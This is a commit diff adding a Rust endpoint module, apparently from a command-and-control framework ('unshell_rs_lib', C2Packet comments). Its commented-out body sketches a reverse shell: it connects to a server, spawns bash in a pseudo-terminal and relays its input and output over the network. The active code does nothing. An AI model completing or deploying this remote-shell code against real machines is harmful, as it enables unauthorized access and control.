Move main project to new repository

src/endpoint/endpoint.rs

@@ -0,0 +1,107 @@
+use std::{net::SocketAddr, thread};
+
+use portable_pty::{CommandBuilder, PtySize, native_pty_system};
+use unshell_rs_lib::{
+    Error,
+    networkers::Connection,
+    nodes::{ConnectionConfig, NodeContainer},
+};
+
+pub fn run_endpoint(socket: SocketAddr) -> Result<(), Error> {
+    // let node = NodeContainer::connect(
+    //     "Server".to_string(),
+    //     vec![],
+    //     vec![ConnectionConfig {
+    //         socket,
+    //         layers: vec![],
+    //     }],
+    // )?;
+
+    // let mut stream = node.recv_stream()?;
+
+    // let pty_system = native_pty_system();
+    // let pty_pair = pty_system.openpty(PtySize {
+    //     rows: 24,
+    //     cols: 80,
+    //     pixel_width: 0,
+    //     pixel_height: 0,
+    // })?;
+
+    // let mut cmd = CommandBuilder::new("bash");
+    // cmd.env("TERM", "xterm-256color");
+    // // pty_pair.
+
+    // let mut child = pty_pair.slave.spawn_command(cmd)?;
+
+    // // Get the master PTY for reading/writing
+    // let master = pty_pair.master;
+
+    // let mut master_reader = master.try_clone_reader()?;
+    // let mut master_writer = master.take_writer()?;
+
+    // // Clone stream for bidirectional communication
+    // let mut stream_clone = stream.try_clone()?;
+
+    // let pty_to_tcp = thread::spawn(move || {
+    //     let mut buffer = [0u8; 1024];
+    //     loop {
+    //         match master_reader.read_(&mut buffer) {
+    //             Ok(0) => break, // EOF
+    //             Ok(n) => {
+    //                 if stream.write(&buffer[..n]).is_err() {
+    //                     break;
+    //                 }
+    //             }
+    //             Err(e) => {
+    //                 error!("Error reading from PTY: {}", e);
+    //                 break;
+    //             }
+    //         }
+    //     }
+    //     println!("stopped!");
+    // });
+
+    // let tcp_to_pty = thread::spawn(move || {
+    //     loop {
+    //         let data = stream_clone.read().unwrap();
+    //         if master_writer.write(&data).is_err() {
+    //             break;
+    //         }
+    //     }
+    //     println!("stopped!");
+    // });
+
+    // child.wait()?;
+    // child.kill()?;
+
+    // error!("Proc ended!");
+
+    // // Wait for either thread to finish
+    // let _ = pty_to_tcp.join();
+    // let _ = tcp_to_pty.join();
+
+    // // Clean up the child process
+    // // let _ = child.kill();
+    // // let _ = child.wait();
+
+    // Ok(())
+
+    // // loop {
+    // // let data = stream.read()?;
+    // // println!("DATA: {:?}", data);
+
+    // // let (src, packet) = node()?;
+    // // match packet {
+    // //     C2Packet::Ping => {
+    // //         info!("Ping from {}!", src);
+    // //         // node.send_unrouted(&src, &C2Packet::Pong)?;
+    // //         // (&mut node.state.lock().unwrap()).send_unrouted(src, &C2Packet::Pong)?;
+    // //     }
+    // //     C2Packet::Pong => {
+    // //         info!("Pong!");
+    // //     }
+    // //     _ => {}
+    // // }
+    // // }
+    Ok(())
+}

src/endpoint/mod.rs

@@ -0,0 +1,3 @@
+mod endpoint;
+
+pub use endpoint::run_endpoint;